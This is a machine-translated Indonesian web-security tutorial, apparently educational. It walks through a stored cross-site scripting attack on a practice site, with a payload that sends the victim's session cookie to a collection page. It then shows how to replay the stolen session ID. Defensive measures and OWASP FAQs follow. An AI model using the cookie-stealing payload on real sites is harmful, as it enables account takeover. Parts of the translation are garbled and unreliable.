Bagaimana Cara Meretas Situs Web? Teknik Peretasan Situs Web

โšก Ringkasan Cerdas

Peretasan situs web mengeksploitasi kelemahan dalam aplikasi web โ€” kode yang ditulis dengan buruk, input yang tidak disanitasi, dan penanganan sesi yang lemah โ€” untuk mendapatkan akses tanpa izin. Halaman ini mendemonstrasikan teknik serangan umum dan, yang lebih penting, tindakan pencegahan yang menjaga keamanan situs web.

  • ๐ŸŒ Target: Aplikasi web menerima input pengguna melalui internet, sehingga setiap kolom yang tidak tervalidasi rentan terhadap serangan.
  • ๐Ÿ’‰ Teknik: Serangan SQL injection, cross-site scripting, session poisoning, form tampering, dan code injection berada di urutan teratas.
  • ๐Ÿช Pembajakan sesi: ID sesi yang dicuri memungkinkan penyerang untuk menyamar sebagai pengguna yang sedang login tanpa kata sandi.
  • ๐Ÿ›ก๏ธ Pertahanan: Validasi input, kueri berparameter, dan cookie sesi terenkripsi menutup celah umum tersebut.
  • ๐ŸŽฏ Standar: OWASP Top 10 mendefinisikan kerentanan web yang harus diuji oleh setiap pengembang.
  • ๐Ÿค– Sentuhan modern: Firewall berbasis AI mempelajari lalu lintas normal dan menandai upaya injeksi secara real-time.

Cara Meretas Situs Web

Lebih banyak orang memiliki akses ke internet dibandingkan sebelumnya. Hal ini mendorong banyak organisasi untuk mengembangkan aplikasi berbasis web yang dapat digunakan pengguna secara online untuk berinteraksi dengan organisasi. Kode aplikasi web yang ditulis dengan buruk dapat dieksploitasi untuk mendapatkan akses tidak sah ke data sensitif dan server web.

Anda akan mempelajari teknik peretasan situs web umum dan langkah-langkah penanggulangan yang melindungi dari serangan tersebut.

Cara Meretas Situs Web

Dalam skenario praktis peretasan situs web ini, kita akan membajak sesi pengguna aplikasi web yang berlokasi di www.techpanda.orgKami akan menggunakan cross-site scripting untuk membaca ID sesi cookie, lalu menggunakannya untuk meniru sesi pengguna yang sah.

Asumsi yang dibuat adalah bahwa penyerang memiliki akses ke aplikasi web dan ingin membajak sesi pengguna lain yang menggunakan aplikasi yang sama. Tujuan dari serangan ini bisa jadi untuk mendapatkan akses admin ke aplikasi web, dengan asumsi akun akses penyerang adalah akun terbatas.

Langkah 1) Buka URL http://www.techpanda.org/.

Untuk keperluan latihan, sangat disarankan untuk mendapatkan akses menggunakan SQL Injection. Lihat artikel ini tentang SQL Injection untuk informasi lebih lanjut tentang cara melakukannya.

Langkah 2) Masukkan Detail Login.

Alamat email untuk login adalah admin@google.com, dan kata sandinya adalah Password2010.

Langkah 3) Periksa dasbor.

Jika Anda berhasil masuk, Anda akan mendapatkan dasbor berikut.

Tampilan dasbor Techpanda setelah berhasil masuk.

Langkah 4) Masukkan Konten Baru.

Klik Tambah Kontak Baru dan masukkan yang berikut ini sebagai nama depan:

<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>

Langkah 5) Tambahkan JavaNaskah.

Kode di atas menggunakan JavaSkrip. Skrip ini menambahkan hyperlink dengan event onclick. Ketika pengguna yang tidak curiga mengklik tautan tersebut, event tersebut akan mengambil data yang dibutuhkan. ID sesi cookie PHP dan mengirimkannya ke halaman snatch_sess_id.php bersama dengan ID sesi di dalamnya. URL.

Formulir Tambah Kontak Baru dengan skrip berbahaya yang dimasukkan pada kolom nama depan.

Langkah 6) Tambahkan Detail.

Masukkan detail lainnya seperti yang ditunjukkan di bawah ini dan klik Simpan Perubahan.

Formulir kontak yang telah diisi siap untuk disimpan ke dalam basis data.

Langkah 7) Periksa dasbor.

Dasbor Anda sekarang akan terlihat seperti layar berikut.

Dasbor kontak yang menampilkan entri tersimpan dengan tautan Dark.

Langkah 8) Periksa ID sesi.

Karena skrip lintas situs disimpan dalam basis data, skrip tersebut dimuat setiap kali pengguna dengan hak akses masuk. Ketika administrator masuk dan mengklik hyperlink yang bertuliskan Dark, mereka akan mendapatkan jendela dengan ID sesi yang ditampilkan di dalamnya. URL.

Jendela browser yang menampilkan ID sesi yang diambil dan diteruskan URL

Catatan: skrip dapat mengirimkan nilai tersebut ke server jarak jauh tempat PHPSESSID disimpan, lalu mengarahkan pengguna kembali seolah-olah tidak terjadi apa-apa.

Catatan: nilai yang Anda peroleh mungkin berbeda dari yang ditampilkan di sini, tetapi konsepnya sama.

Sesi Peniruan Identitas menggunakan Firefox dan tambahan Tamper Data

Catatan: add-on Tamper Data klasik yang ditunjukkan di bawah ini tidak lagi dapat diinstal pada versi terbaru. FirefoxNamun, konsep yang diilustrasikanโ€”mencegat dan memodifikasi permintaan HTTP untuk memutar ulang sesi yang telah direkamโ€”tetap tidak berubah.

Diagram alur di bawah ini menunjukkan langkah-langkah yang harus Anda ambil untuk menyelesaikan latihan ini.

Diagram alur langkah-langkah latihan peniruan sesi

  • Anda akan membutuhkan Firefox browser web untuk bagian ini dan add-on Data Perubahan.
  • Open Firefox dan instal add-on seperti yang ditunjukkan pada diagram di bawah ini.

Firefox Pengelola add-on digunakan untuk mencari add-on Tamper Data.

Data Perubahan yang tercantum di Firefox hasil pencarian tambahan

  • Cari data tamper, lalu klik instal seperti yang ditunjukkan di atas.

Dialog izin add-on dengan tombol Terima dan Instal.

  • Klik Terima dan Instalโ€ฆ

Firefox meminta untuk memulai ulang browser setelah menginstal add-on

Firefox Bilah menu diaktifkan sehingga menu Alat terlihat.

  • Klik Mulai ulang sekarang setelah instalasi selesai.
  • Aktifkan bilah menu di Firefox jika tidak ditampilkan.

Menu Alat terbuka dengan Data Perubahan terpilih.

  • Klik menu Alat, lalu pilih Data Perubahan seperti yang ditunjukkan di bawah ini.

Kosongkan jendela Data Perubahan sebelum menangkap permintaan.

  • Anda akan mendapatkan jendela berikut. Catatan: Jika jendela tidak kosong, tekan tombol hapus.

Popup "Tamper Data" yang meminta untuk mengubah permintaan keluar.

  • Klik pada menu Mulai Tamper.
  • Kembali ke Firefox Buka browser web, ketik http://www.techpanda.org/dashboard.php, lalu tekan tombol Enter untuk memuat halaman.
  • Anda akan mendapatkan jendela pop-up berikut dari Tamper Data.

Jendela pop-up untuk mengubah data dengan pilihan Ubah, Kirim, dan Batalkan.

  • Jendela pop-up memiliki tiga (3) opsi. Opsi Tamper memungkinkan Anda untuk memodifikasi informasi header HTTP sebelum dikirimkan ke server.
  • Klik itu.
  • Anda akan mendapatkan jendela berikut.

Editor header permintaan tempat nilai cookie dapat diganti.

  • Salin ID sesi PHP yang Anda dapatkan dari serangan tersebut. URL lalu tempelkan setelah tanda sama dengan. Nilai Anda sekarang akan terlihat seperti ini.
PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
  • Klik pada tombol OK.
  • Anda akan mendapatkan jendela pop-up Data Perubahan lagi.

Popup "Tamper Data" muncul kembali dengan kotak centang "Continue Tampering" (Lanjutkan Perubahan Data).

  • Hapus tanda centang pada kotak yang menanyakan Lanjutkan Perusakan?
  • Klik tombol kirim setelah selesai.
  • Anda seharusnya dapat melihat dasbor seperti yang ditunjukkan di bawah ini.

Dasbor Techpanda diakses dengan memutar ulang sesi yang direkam.

Catatan: kami tidak masuk; kami meniru sesi masuk menggunakan nilai PHPSESSID yang kami peroleh menggunakan cross-site scripting.

Apa itu Aplikasi Web? Apa itu Ancaman Web?

Aplikasi web (atau situs web) adalah aplikasi yang berbasis pada model klien-server. Server menyediakan akses basis data dan logika bisnis. Aplikasi ini dihosting di server web. Aplikasi klien berjalan di peramban web klien. Aplikasi web biasanya ditulis dalam bahasa seperti [bahasa pemrograman tertentu]. Java, C#, VB.Net, PHP, dan ColdFusion Markup Language, dll. Mesin basis data yang digunakan dalam aplikasi web meliputi MySQL, MSSQL Server, PostgreSQL, SQLite, Dll

Teknik Peretasan Situs Web Teratas

Sebagian besar aplikasi web dihosting di server publik. server Dapat diakses melalui internet. Hal ini membuat mereka rentan terhadap serangan karena kemudahan akses. Berikut adalah ancaman umum pada aplikasi web.

  • SQL Injection โ€“ tujuan dari ancaman ini bisa jadi untuk menerobos algoritma login, menyabotase data, dan lain sebagainya.
  • Denial of Service Serangan โ€“ Tujuan dari ancaman ini bisa jadi untuk mencegah pengguna yang sah mengakses sumber daya tersebut.
  • Pembuatan Skrip Lintas Situs (XSS) โ€“ Tujuan dari ancaman ini bisa jadi untuk menyuntikkan kode yang dapat dieksekusi di browser sisi klien.
  • Keracunan Cookie/Sesi โ€“ tujuan ancaman ini adalah untuk mengubah cookie/data sesi oleh penyerang untuk mendapatkan akses tidak sah.
  • Perusakan Formulir โ€“ tujuan dari ancaman ini adalah untuk mengubah bentuk data seperti harga di aplikasi e-commerce sehingga penyerang bisa mendapatkan barang dengan harga lebih murah.
  • Code Injeksi โ€“ tujuan dari ancaman ini adalah untuk memasukkan kode seperti PHP, Python, dll. yang dapat dieksekusi di server. Kode tersebut dapat menginstal pintu belakang, mengungkapkan informasi sensitif, dll.
  • Perusakan โ€“ Tujuan dari ancaman ini adalah untuk memodifikasi halaman yang ditampilkan di situs web dan mengarahkan semua permintaan halaman ke satu halaman yang berisi pesan penyerang.

Bagaimana Melindungi Situs Web Anda dari Peretasan?

Suatu organisasi dapat mengadopsi kebijakan berikut untuk melindungi dirinya dari serangan server web.

  • SQL Injection โ€“ Membersihkan dan memvalidasi parameter pengguna sebelum mengirimkannya ke basis data untuk diproses dapat membantu mengurangi kemungkinan serangan melalui SQL Injection. Mesin basis data seperti MS SQL Server, MySQL, dll. mendukung parameter dan prepared statement. Fitur ini jauh lebih aman daripada statement SQL tradisional.
  • Penolakan serangan layanan โ€“ Firewall dapat digunakan untuk memblokir lalu lintas dari alamat IP yang mencurigakan jika serangannya berupa DoS sederhana. Konfigurasi jaringan yang tepat dan Sistem Deteksi Intrusi juga dapat membantu mengurangi kemungkinan keberhasilan serangan DoS.
  • Cross-Site Scripting โ€“ memvalidasi dan membersihkan header, parameter yang diteruskan melalui URLParameter formulir dan nilai tersembunyi dapat membantu mengurangi serangan XSS.
  • Keracunan Cookie/Sesi โ€“ Hal ini dapat dicegah dengan mengenkripsi isi cookie, menetapkan masa berlaku cookie setelah beberapa waktu, dan mengaitkan cookie dengan alamat IP klien yang digunakan untuk membuatnya.
  • Perusakan Formulir โ€“ Hal ini dapat dicegah dengan memvalidasi dan memverifikasi input pengguna sebelum memprosesnya.
  • Code Injeksi โ€“ Hal ini dapat dicegah dengan memperlakukan semua parameter sebagai data, bukan sebagai kode yang dapat dieksekusi. Sanitasi dan validasi dapat digunakan untuk menerapkan hal ini.
  • Perusakan โ€“ bagus keamanan aplikasi web Kebijakan tersebut harus memastikan bahwa kebijakan tersebut menutup kerentanan yang umum digunakan untuk mengakses server web. Hal ini dapat dilakukan melalui konfigurasi sistem operasi yang tepat, perangkat lunak server web, dan praktik keamanan terbaik saat pengembangan.ping aplikasi web.

Periksa ini: 9 Best URL Pemindai untuk Memeriksa Apakah Tautan Aman dari Malware

Pertanyaan Umum Demo Slot

Hanya dengan izin tertulis dari pemiliknya. Menguji situs yang bukan milik Anda atau yang tidak Anda miliki wewenang untuk mengaksesnya adalah ilegal menurut undang-undang seperti US Computer Fraud and Abuse Act. Cakupan program bug bounty menentukan apa yang diperbolehkan.

Waspadai halaman yang dirusak, pengguna admin baru yang tidak terduga, file atau skrip yang tidak dikenal, pengalihan ke situs spam, dan lonjakan lalu lintas. Pemantauan integritas file, peninjauan log server, dan pemindai malware akan mengungkap sebagian besar pelanggaran sejak dini.

OWASP Top 10 adalah daftar risiko keamanan aplikasi web paling kritis yang dikelola oleh komunitas. Edisi tahun 2025 menempatkan Kontrol Akses yang Rusak di urutan pertama, diikuti oleh Kesalahan Konfigurasi Keamanan dan Kegagalan Rantai Pasokan Perangkat Lunak.

WAF (Web Application Firewall) memeriksa lalu lintas HTTP yang masuk dan memblokir pola serangan yang dikenal seperti injeksi SQL dan cross-site scripting sebelum mencapai aplikasi. WAF menawarkan patching virtual tetapi tidak menggantikan kode yang aman.

Firewall berbasis AI mempelajari lalu lintas normal suatu situs, kemudian menandai anomali seperti upaya injeksi, pencurian kredensial, dan penyalahgunaan bot secara real-time. Model pembelajaran mesin menangkap pola zero-day yang terlewatkan oleh aturan statis, dengan lebih sedikit false positive.

Asisten AI seperti Kopilot GitHub Mempercepat penulisan validasi input dan kueri berparameter, tetapi juga dapat menyarankan pola yang tidak aman. Perlakukan setiap saran sebagai draf dan mintalah seseorang untuk meninjaunya sebelum diterapkan.

Opsi populer meliputi CEH, OSCP, dan CompTIA Security+, sedangkan CISSP Mencakup arsitektur keamanan secara luas. Mereka memvalidasi penilaian kerentanan, konfigurasi aman, dan keterampilan pertahanan yang diharapkan oleh perusahaan untuk peran keamanan web.

Pemindaian kerentanan dilakukan secara otomatis dan dengan cepat mencantumkan kelemahan yang diketahui tanpa mengeksploitasinya. Pengujian penetrasi sebagian besar dilakukan secara manual di mana penguji secara aktif mengeksploitasi kelemahan untuk menunjukkan dampak nyata. Pemindaian menawarkan cakupan yang luas; pengujian penetrasi menawarkan kedalaman.

Ringkaslah postingan ini dengan: